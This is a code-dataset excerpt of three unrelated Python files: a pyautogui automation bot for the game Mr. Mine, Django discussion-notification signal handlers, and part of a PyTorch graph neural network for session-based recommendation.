print(\"Collecting chests from mine: \" + str(counter + 1) + \"/\" + str(maxCount))\r\n print(\"Nothing to do count: \" + str(nothingToDoInARow) + \"/\" + str(amountOfTriesBeforeSkip))\r\n\r\ndef collectChestsInMineWithImageRecognition():\r\n #Was used in version 0.7\r\n #Slower version but gives more precision\r\n #Ended with not using images for this as it slows down the performance alot\r\n print(\"Checking for chests...\")\r\n counter = 0\r\n generalFunctions.goToMrMineScreen()\r\n generalFunctions.goToSafeClickArea()\r\n maxCount = positions.amountOfChestsToBeClicked * 5\r\n nothingToDoInARow = 0\r\n amountOfTriesBeforeSkip = 3\r\n foundChest = False\r\n while counter < maxCount:\r\n if nothingToDoInARow > amountOfTriesBeforeSkip:\r\n print(\"Nothing to do so skipping.\")\r\n break\r\n\r\n chestbackgroundcolor = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\smallchestbackgroundcolor.png\", confidence = chestConfidence - 0.1, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n pyautogui.failSafeCheck()\r\n keyboard.press_and_release('space')\r\n time.sleep(positions.defaultDelay)\r\n checkIfOre()\r\n monsters.checkIfMonster()\r\n monsters.checkIfFightScreen()\r\n\r\n chestConfidence = 0.6 #0.6 works really good\r\n grayscaleIsOn = False\r\n\r\n minerWithChestEarth = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\minerwithchestearth.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n earthchest1Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\earthchest1.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n earthchest2Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\earthchest2.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n earthchest3Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\earthchest3.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n earthchest4Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\earthchest4.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n\r\n moonchest1Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\moonchest1.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n moonchest2Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\moonchest2.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n moonchest3Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\moonchest3.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n moonchest4Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\moonchest4.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue), grayscale = grayscaleIsOn) \r\n\r\n goldchest1Position = None\r\n goldchest2Position = None\r\n goldchest3Position = None\r\n goldchest4Position = None\r\n\r\n #Can disable gold chest detection for better performance\r\n if fh.stringInFileExists(positions.userconfigFile, \"goldchestDetection = True;\"):\r\n print(\"goldchest = True\")\r\n goldchest1Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\goldchest1.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n goldchest2Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\goldchest2.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n goldchest3Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\goldchest3.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n goldchest4Position = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\goldchest4.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n #chestleftside1 = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\chestleftside1.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n #chestleftside2 = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\chestleftside2.png\", confidence = chestConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n chestbackgroundcolor = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\smallchestbackgroundcolor.png\", confidence = chestConfidence - 0.1, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n #print(minerWithChestEarth)\r\n chestList = [\r\n earthchest1Position, earthchest2Position, earthchest3Position, earthchest4Position, moonchest1Position,\r\n moonchest2Position, moonchest3Position, moonchest4Position, goldchest1Position, goldchest2Position, goldchest3Position,\r\n goldchest4Position, minerWithChestEarth\r\n ] #chestleftside1, chestleftside2]\r\n correctXYToMoveTo = None\r\n for i in range(len(chestList)):\r\n if chestList[i] != None:\r\n print(chestList[i], i)\r\n correctXYToMoveTo = chestList[i]\r\n\r\n if correctXYToMoveTo != None: #Means it found something\r\n foundChest = True\r\n nothingToDoInARow = 0 # Resets when it has found a chest\r\n chestPosition = pyautogui.center(correctXYToMoveTo)\r\n pyautogui.moveTo(chestPosition[0], correctXYToMoveTo[1] + 50)\r\n clickMouse()\r\n clickChestInMiddleOfScreens()\r\n else:\r\n nothingToDoInARow = nothingToDoInARow + 1 #Did not find a a chest\r\n if chestbackgroundcolor != None: #Found yellow background\r\n print(\"Did not find chest on screen, but detected yellow background.\")\r\n iterateOverAllMinersOnAFloor()\r\n print(\"Collecting chests from mine: \" + str(counter + 1) + \"/\" + str(maxCount))\r\n print(\"Nothing to do count: \" + str(nothingToDoInARow - 1) + \"/\" + str(amountOfTriesBeforeSkip))\r\n counter = counter + 1\r\n if not foundChest:\r\n print(\"Did not find any chests.\")\r\n\r\ndef collectChestsInMineOldVersion():\r\n counter = 0\r\n generalFunctions.goToMrMineScreen()\r\n generalFunctions.goToSafeClickArea()\r\n maxCount = positions.amountOfChestsToBeClicked * 2\r\n while counter < maxCount:\r\n keyboard.press_and_release('space')\r\n time.sleep(positions.defaultDelay)\r\n iterateOverAllMinersOnAFloor()\r\n print(\"Collecting chests from mine: \" + str(counter + 1) + \"/\" + str(maxCount))\r\n counter = counter + 1\r\n\r\ndef iterateOverAllMinersOnAFloor(modifier):\r\n\r\n '''\r\n Modifier can be 0\\n\r\n If 0 then scans middle floor\\n\r\n\r\n ------\r\n ------\r\n XXXXXX\r\n ------\\n\r\n ------\\n\r\n\r\n If modifier = 200\r\n then goes up one level\r\n\r\n ------\r\n XXXXXX\r\n ------\r\n ------\r\n ------\r\n\r\n If modifier = -200\r\n then goes down one level\r\n\r\n ------\r\n ------\r\n ------\r\n XXXXXX\r\n ------\r\n\r\n '''\r\n\r\n try:\r\n keyboard.press(\"left shift\")\r\n for everyMiner in range(len(positions.minerPosistionList)):\r\n time.sleep(positions.defaultDelay)\r\n pyautogui.moveTo(MrMineMath.convertToCurrentResolutionPosition(positions.minerPosistionList[everyMiner], positions.currentResolution[0], positions.originalResolution[0]), MrMineMath.convertToCurrentResolutionPosition(positions.minerYpositionMiddleLevel - modifier, positions.currentResolution[1], positions.originalResolution[1]))\r\n mouseAndKeyboard.clickMouse()\r\n keyboard.release(\"left shift\")\r\n except:\r\n keyboard.release(\"left shift\") # should fix left shift getting stuck if causing an interrupt\r\n\r\ndef collectChestBelowMiddle():\r\n\r\n '''\r\n Function must be placed after it has checked once and 'tried' to collect chest.\\n\r\n If yellow background is still there it means it's below middle level.\\n\r\n '''\r\n\r\n for i in range(1, 3):\r\n iterateOverAllMinersOnAFloor(i * - 200)\r\n\r\ndef fastCollectChest(*args):\r\n bufflab.clickOneBuff(bufflab.lowestTierNuggetOfAttraction)\r\n generalFunctions.goToMrMineScreen()\r\n generalFunctions.goToSafeClickArea()\r\n amountOfIterations = 30\r\n pyautogui.moveTo(MrMineMath.convertToCurrentResolutionPosition(positions.minerPosistionList[4] - positions.currentResolution[0] / 100 * 3, positions.currentResolution[0], positions.originalResolution[0]), MrMineMath.convertToCurrentResolutionPosition(positions.minerYpositionMiddleLevel, positions.currentResolution[1], positions.originalResolution[1]))\r\n if args:\r\n amountOfIterations = args[0]\r\n for i in range(amountOfIterations):\r\n try:\r\n print(\"Fast collecting: \" + str(i) + \"/\" + str(amountOfIterations))\r\n keyboard.press_and_release('space')\r\n keyboard.press(\"left shift\")\r\n mouseAndKeyboard.clickMouse()\r\n keyboard.release(\"left shift\") # should fix left shift getting stuck if causing an interrupt\r\n except KeyboardInterrupt:\r\n keyboard.release(\"left shift\")\r\n except Exception as e:\r\n print(e)\r\n keyboard.release(\"left shift\")\r\n\r\ndef fastCollectChestOld():\r\n generalFunctions.goToMrMineScreen()\r\n amountOfIterations = 30\r\n for i in range(amountOfIterations):\r\n try:\r\n print(\"Fast collecting: \" + str(i) + \"/\" + str(amountOfIterations))\r\n keyboard.press_and_release('space')\r\n keyboard.press(\"left shift\")\r\n for everyMiner in range(len(positions.minerPosistionList)):\r\n pyautogui.moveTo(MrMineMath.convertToCurrentResolutionPosition(positions.minerPosistionList[everyMiner], positions.currentResolution[0], positions.originalResolution[0]), MrMineMath.convertToCurrentResolutionPosition(positions.minerYpositionMiddleLevel, positions.currentResolution[1], positions.originalResolution[1]))\r\n mouseAndKeyboard.clickMouse()\r\n keyboard.release(\"left shift\") # should fix left shift getting stuck if causing an interrupt\r\n except KeyboardInterrupt:\r\n keyboard.release(\"left shift\")\r\n except Exception as e:\r\n print(e)\r\n keyboard.release(\"left shift\")\r\n\r\ndef checkIfRainShower():\r\n print(\"Checking for rain shower buff.\")\r\n mouseAndKeyboard.pressButton('esc')\r\n generalFunctions.goToMrMineScreen()\r\n generalFunctions.goToSafeClickArea()\r\n rainShowerConfidence = 0.7 #0.7 works\r\n time.sleep(0.5)\r\n rainShower = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\general\\\\rainingchest.png\", confidence = rainShowerConfidence)\r\n if rainShower:\r\n print(rainShower)\r\n print(\"Detected rain shower!\")\r\n fastCollectChest(150)\r\n else:\r\n print(\"No rain shower detected.\")\r\n mouseAndKeyboard.pressButton('space')\r\n\r\n#fastCollectChest()", "repo_name": "szcarr/Mr.Mine", "sub_path": "src/mineFloors.py", "file_name": "mineFloors.py", "file_ext": "py", "file_size_in_byte": 18351, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyautogui.FAILSAFE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "positionsAndResolution.positions", "line_number": 17, "usage_type": "attribute"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 20, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 21, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 23, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 24, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 26, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 27, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 29, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 30, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 40, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 41, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 42, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 43, "usage_type": "call"}, {"api_name": "pyautogui.failSafeCheck", "line_number": 49, "usage_type": "call"}, {"api_name": "pyautogui.center", "line_number": 54, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 55, "usage_type": "call"}, {"api_name": "MrMineFunctions.clickMouse", "line_number": 57, "usage_type": "call"}, {"api_name": "generalFunctions.goToMrMineScreen", "line_number": 67, "usage_type": "call"}, {"api_name": "generalFunctions.goToSafeClickArea", "line_number": 68, "usage_type": "call"}, {"api_name": "pyautogui.failSafeCheck", "line_number": 80, "usage_type": "call"}, {"api_name": "keyboard.press_and_release", "line_number": 82, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 83, "usage_type": "call"}, {"api_name": "monsters.checkIfMonster", "line_number": 87, "usage_type": "call"}, {"api_name": "monsters.checkIfFightScreen", "line_number": 88, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 91, "usage_type": "call"}, {"api_name": "monsters.checkIfFightScreen", "line_number": 98, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 100, "usage_type": "call"}, {"api_name": "pyautogui.center", "line_number": 105, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 106, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}, {"api_name": "generalFunctions.goToMrMineScreen", "line_number": 120, "usage_type": "call"}, {"api_name": "generalFunctions.goToSafeClickArea", "line_number": 121, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 131, "usage_type": "call"}, {"api_name": "pyautogui.failSafeCheck", "line_number": 133, "usage_type": "call"}, {"api_name": "keyboard.press_and_release", "line_number": 134, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 135, "usage_type": "call"}, {"api_name": "monsters.checkIfMonster", "line_number": 137, "usage_type": "call"}, {"api_name": "monsters.checkIfFightScreen", "line_number": 138, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 143, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 145, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 146, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 147, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 148, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 150, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 151, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 152, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 153, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 163, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 164, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 165, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 166, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 171, "usage_type": "call"}, {"api_name": "pyautogui.center", "line_number": 188, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 189, "usage_type": "call"}, {"api_name": "MrMineFunctions.clickMouse", "line_number": 190, "usage_type": "call"}, {"api_name": "MrMineFunctions.clickChestInMiddleOfScreens", "line_number": 191, "usage_type": "call"}, {"api_name": "generalFunctions.goToMrMineScreen", "line_number": 205, "usage_type": "call"}, {"api_name": "generalFunctions.goToSafeClickArea", "line_number": 206, "usage_type": "call"}, {"api_name": "keyboard.press_and_release", "line_number": 209, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 210, "usage_type": "call"}, {"api_name": "keyboard.press", "line_number": 248, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 250, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 251, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 251, "usage_type": "call"}, {"api_name": "mouseAndKeyboard.clickMouse", "line_number": 252, "usage_type": "call"}, {"api_name": "keyboard.release", "line_number": 253, "usage_type": "call"}, {"api_name": "keyboard.release", "line_number": 255, "usage_type": "call"}, {"api_name": "bufflab.clickOneBuff", "line_number": 268, "usage_type": "call"}, {"api_name": "bufflab.lowestTierNuggetOfAttraction", "line_number": 268, "usage_type": "attribute"}, {"api_name": "generalFunctions.goToMrMineScreen", "line_number": 269, "usage_type": "call"}, {"api_name": "generalFunctions.goToSafeClickArea", "line_number": 270, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 272, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 272, "usage_type": "call"}, {"api_name": "keyboard.press_and_release", "line_number": 278, "usage_type": "call"}, {"api_name": "keyboard.press", "line_number": 279, "usage_type": "call"}, {"api_name": "mouseAndKeyboard.clickMouse", "line_number": 280, "usage_type": "call"}, {"api_name": "keyboard.release", "line_number": 281, "usage_type": "call"}, {"api_name": "keyboard.release", "line_number": 283, "usage_type": "call"}, {"api_name": "cmath.e", "line_number": 285, "usage_type": "argument"}, {"api_name": "keyboard.release", "line_number": 286, "usage_type": "call"}, {"api_name": "generalFunctions.goToMrMineScreen", "line_number": 289, "usage_type": "call"}, {"api_name": "keyboard.press_and_release", "line_number": 294, "usage_type": "call"}, {"api_name": "keyboard.press", "line_number": 295, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 297, "usage_type": "call"}, {"api_name": "MrMineMath.convertToCurrentResolutionPosition", "line_number": 297, "usage_type": "call"}, {"api_name": "mouseAndKeyboard.clickMouse", "line_number": 298, "usage_type": "call"}, {"api_name": "keyboard.release", "line_number": 299, "usage_type": "call"}, {"api_name": "keyboard.release", "line_number": 301, "usage_type": "call"}, {"api_name": "cmath.e", "line_number": 303, "usage_type": "argument"}, {"api_name": "keyboard.release", "line_number": 304, "usage_type": "call"}, {"api_name": "mouseAndKeyboard.pressButton", "line_number": 308, "usage_type": "call"}, {"api_name": "generalFunctions.goToMrMineScreen", "line_number": 309, "usage_type": "call"}, {"api_name": "generalFunctions.goToSafeClickArea", "line_number": 310, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 312, "usage_type": "call"}, {"api_name": "pyautogui.locateOnScreen", "line_number": 313, "usage_type": "call"}, {"api_name": "mouseAndKeyboard.pressButton", "line_number": 320, "usage_type": "call"}]} {"seq_id": "32382313282", "text": "from django.utils.translation import ugettext as _\n\n# 1st party\nfrom openlab.notifications.models import new\nfrom openlab.olmarkdown import util as olmarkdown_util\n\n# local\nfrom .models import Thread, Message\n\ndef message_save(sender, **kwds):\n message = kwds['instance']\n created = kwds['created']\n\n if not created:\n # only generate notificaitons for newly generated messages\n return\n\n # Loop through everyone subscribed\n subscribers = list(message.thread.subscribers.all())\n mentioned_usernames = olmarkdown_util.get_username_mentions(\n message.olmarkdown_rendered)\n\n mentioned_users = []\n if mentioned_usernames:\n mentioned_users = User.objects.filter(\n username__in=mentioned_usernames)\n\n name = message.user.profile.desired_name\n msg = _(u\"%s replied in a discussion which \"\n \"you have participated in\") % name\n url = message.get_absolute_url()\n\n for user in subscribers:\n if user.username in mentioned_usernames:\n continue # skip, we'll do those later\n if message.user == user:\n continue # skip, its me!\n new(user, msg, url=url, actor=message.user, topic=message)\n\n msg = _(u\"%s mentioned you in a comment\") % name\n for user in mentioned_users:\n if message.user == user:\n continue # skip, its me!\n new(user, msg, url=url, actor=message.user, topic=message)\n\n\ndef thread_save(sender, **kwds):\n thread = kwds['instance']\n created = kwds['created']\n\n if not created:\n # only generate notificaitons / actions for newly created threads\n return\n\ndef trigger_thread_save(thread):\n\n projects = list(thread.project_set.all())\n teams = list(thread.team_set.all())\n\n # Note: \"anything\" should almost certainly be a list of length 1\n anything = list(projects + teams)\n if thread.user:\n name = thread.user.profile.desired_name\n else:\n name = \"Someone\"\n\n if anything:\n verb = _(u\"started a discussion about %s\") % str(anything[0])\n else:\n verb = _(u\"created a new discussion\")\n\n msg = u\" \".join([name, verb])\n\n # Distill down to teams\n for project in projects:\n if project.team:\n teams.append(project.team)\n\n # Distill down to users\n users = []\n for team in teams:\n users.extend(list(team.members.all()))\n for project in projects:\n users.append(project.user)\n\n url = thread.get_absolute_url()\n # Notify project creator and/or team members\n for user in users:\n if thread.user == user:\n continue # skip, its me!\n new(user, msg, url=url, actor=thread.user, topic=thread)\n\n\n", "repo_name": "openlab-org/openlab.org", "sub_path": "openlab/discussion/signals.py", "file_name": "signals.py", "file_ext": "py", "file_size_in_byte": 2697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openlab.olmarkdown.util.get_username_mentions", "line_number": 20, "usage_type": "call"}, {"api_name": "openlab.olmarkdown.util", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 29, "usage_type": "call"}, {"api_name": "openlab.notifications.models.new", "line_number": 38, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 40, "usage_type": "call"}, {"api_name": "openlab.notifications.models.new", "line_number": 44, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 68, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 70, "usage_type": "call"}, {"api_name": "openlab.notifications.models.new", "line_number": 91, "usage_type": "call"}]} {"seq_id": "36256252320", "text": "import math\n\nimport dgl\nimport dgl.function as fn\nimport dgl.nn.pytorch as dglnn\nimport dgl.ops as F\nimport numpy as np\nimport torch as th\nimport torch.nn as nn\nfrom scipy import sparse\n\nfrom .gnn_models import GATConv\n\nclass SemanticExpander(nn.Module):\n \n def __init__(self, input_dim, reducer, order):\n \n super().__init__()\n \n self.input_dim = input_dim\n self.order = order\n self.reducer = reducer\n self.GRUs = nn.ModuleList()\n for i in range(self.order):\n self.GRUs.append(nn.GRU(self.input_dim, self.input_dim, 1, True, True))\n \n if self.reducer == 'concat':\n self.Ws = nn.ModuleList()\n for i in range(1, self.order):\n self.Ws.append(nn.Linear(self.input_dim * (i+1), self.input_dim))\n \n def forward(self, feat):\n \n if len(feat.shape) < 3:\n return feat\n if self.reducer == 'mean':\n invar = th.mean(feat, dim=1)\n elif self.reducer == 'max':\n invar = th.max(feat, dim=1)[0]\n elif self.reducer == 'concat':\n invar = self.Ws[feat.size(1)-2](feat.view(feat.size(0), -1))\n var = self.GRUs[feat.size(1)-2](feat)[1].permute(1, 0, 2).squeeze()\n\n # return invar + var\n return 0.5 * invar + 0.5 * var\n \nclass MSHGNN(nn.Module):\n \n def __init__(self, input_dim, output_dim, dropout=0.0, activation=None, order=1, reducer='mean'):\n super().__init__()\n \n self.dropout = nn.Dropout(dropout)\n # self.gru = nn.GRUCell(2 * input_dim, output_dim)\n self.output_dim = output_dim\n self.activation = activation\n self.order = order\n \n conv1_modules = {'intra'+str(i+1) : GATConv(input_dim, output_dim, 8, dropout, dropout, residual=True) for i in range(self.order)}\n conv1_modules.update({'inter' : GATConv(input_dim, output_dim, 8, dropout, dropout, residual=True)})\n self.conv1 = dglnn.HeteroGraphConv(conv1_modules, aggregate='sum')\n \n conv2_modules = {'intra'+str(i+1) : GATConv(input_dim, output_dim, 8, dropout, dropout, residual=True) for i in range(self.order)}\n conv2_modules.update({'inter' : GATConv(input_dim, output_dim, 8, dropout, dropout, residual=True)})\n self.conv2 = dglnn.HeteroGraphConv(conv2_modules, aggregate='sum')\n \n self.lint = nn.Linear(output_dim, 1, bias=False)\n self.linq = nn.Linear(output_dim, output_dim)\n self.link = nn.Linear(output_dim, output_dim, bias=False)\n \n def forward(self, g, feat):\n \n with g.local_scope():\n \n h1 = self.conv1(g, (feat, feat))\n h2 = self.conv2(g.reverse(copy_edata=True), (feat, feat))\n h = {}\n for i in range(self.order):\n hl, hr = th.zeros(1, self.output_dim).to(self.lint.weight.device), th.zeros(1, self.output_dim).to(self.lint.weight.device)\n if 's'+str(i+1) in h1:\n hl = h1['s'+str(i+1)]\n if 's'+str(i+1) in h2:\n hr = h2['s'+str(i+1)]\n h['s'+str(i+1)] = hl + hr\n if len(h['s'+str(i+1)].shape) > 2:\n h['s'+str(i+1)] = h['s'+str(i+1)].max(1)[0]\n h_mean = F.segment.segment_reduce(g.batch_num_nodes('s'+str(i+1)), feat['s'+str(i+1)], 'mean')\n h_mean = dgl.broadcast_nodes(g, h_mean, ntype='s'+str(i+1)) # adding mean maskes better\n # print(h['s'+str(i+1)].shape, h_mean.shape)\n h['s'+str(i+1)] = h_mean + h['s'+str(i+1)]\n \n return h\n \n \nclass AttnReadout(nn.Module):\n def __init__(\n self,\n input_dim,\n hidden_dim,\n output_dim,\n feat_drop=0.0,\n activation=None,\n order=1,\n device=th.device('cpu')\n ):\n super().__init__()\n self.feat_drop = nn.Dropout(feat_drop)\n self.order = order\n self.device = device\n self.fc_u = nn.ModuleList()\n self.fc_v = nn.ModuleList()\n self.fc_e = nn.ModuleList()\n self.fc_p = nn.ModuleList()\n for i in range(self.order):\n self.fc_u.append(nn.Linear(input_dim, hidden_dim, bias=True))\n self.fc_v.append(nn.Linear(input_dim, hidden_dim, bias=False))\n self.fc_e.append(nn.Linear(hidden_dim, 1, bias=False))\n self.fc_out = (\n nn.Linear(input_dim, output_dim, bias=False)\n if output_dim != input_dim\n else None\n )\n self.activation = activation\n \n def forward(self, g, feats, last_nodess):\n \n rsts = []\n \n nfeats = []\n for i in range(self.order): \n feat = feats['s'+str(i+1)]\n feat = th.split(feat, g.batch_num_nodes('s'+str(i+1)).tolist())\n feats['s'+str(i+1)] = th.cat(feat, dim=0)\n nfeats.append(feat)\n feat_vs= th.cat(tuple(feats['s'+str(i+1)][last_nodess[i]].unsqueeze(1) for i in range(self.order)), dim=1)\n feats = th.cat([th.cat(tuple(nfeats[j][i] for j in range(self.order)), dim=0) for i in range(len(g.batch_num_nodes('s1')))], dim=0)\n batch_num_nodes = th.cat(tuple(g.batch_num_nodes('s'+str(i+1)).unsqueeze(1) for i in range(self.order)), dim=1).sum(1)\n \n idx = th.cat(tuple(th.ones(batch_num_nodes[j])*j for j in range(len(batch_num_nodes)))).long()\n for i in range(self.order):\n feat_u = self.fc_u[i](feats) \n feat_v = self.fc_v[i](feat_vs[:, i])[idx]\n e = self.fc_e[i](th.sigmoid(feat_u + feat_v))\n alpha = F.segment.segment_softmax(batch_num_nodes, e)\n \n feat_norm = feats * alpha\n rst = F.segment.segment_reduce(batch_num_nodes, feat_norm, 'sum')\n rsts.append(rst.unsqueeze(1))\n \n if self.fc_out is not None:\n rst = self.fc_out(rst)\n if self.activation is not None:\n rst = self.activation(rst)\n rst = th.cat(rsts, dim=1)\n \n return rst\n\nclass MSGIFSR(nn.Module):\n \n def __init__(self, num_items, datasets, embedding_dim, num_layers, dropout=0.0, reducer='mean', order=3, norm=True, extra=True, fusion=True, device=th.device('cpu')):\n super().__init__()\n \n self.embeddings = nn.Embedding(num_items, embedding_dim, max_norm=1)\n \n self.num_items = num_items\n self.register_buffer('indices', th.arange(num_items, dtype=th.long))\n self.embedding_dim = embedding_dim\n self.num_layers = num_layers\n self.layers = nn.ModuleList()\n input_dim = embedding_dim\n self.reducer = reducer\n self.order = order\n self.alpha = nn.Parameter(th.Tensor(self.order))\n self.beta = nn.Parameter(th.Tensor(1))\n self.norm = norm\n self.expander = SemanticExpander(input_dim, reducer, order)\n \n self.device = device\n for i in range(num_layers):\n layer = MSHGNN(\n input_dim,\n embedding_dim,\n dropout=dropout,\n order=self.order,\n activation=nn.PReLU(embedding_dim)\n )\n self.layers.append(layer)\n \n self.readout = AttnReadout(\n input_dim,\n embedding_dim,\n embedding_dim,\n feat_drop=dropout,\n activation=None,\n order=self.order,\n device=self.device\n )\n input_dim += embedding_dim\n self.feat_drop = nn.Dropout(dropout)\n\n self.fc_sr = nn.ModuleList()\n for i in range(self.order):\n self.fc_sr.append(nn.Linear(input_dim, embedding_dim, bias=False))\n \n self.sc_sr = nn.ModuleList()\n for i in range(self.order):\n self.sc_sr.append(nn.Sequential(nn.Linear(embedding_dim, embedding_dim, bias=True), nn.ReLU(), nn.Linear(embedding_dim, 2, bias=False), nn.Softmax(dim=-1)))\n self.input_dim = input_dim\n self.embedding_dim =embedding_dim\n \n # self.sr_trans1 = nn.Linear(embedding_dim, embedding_dim)\n # 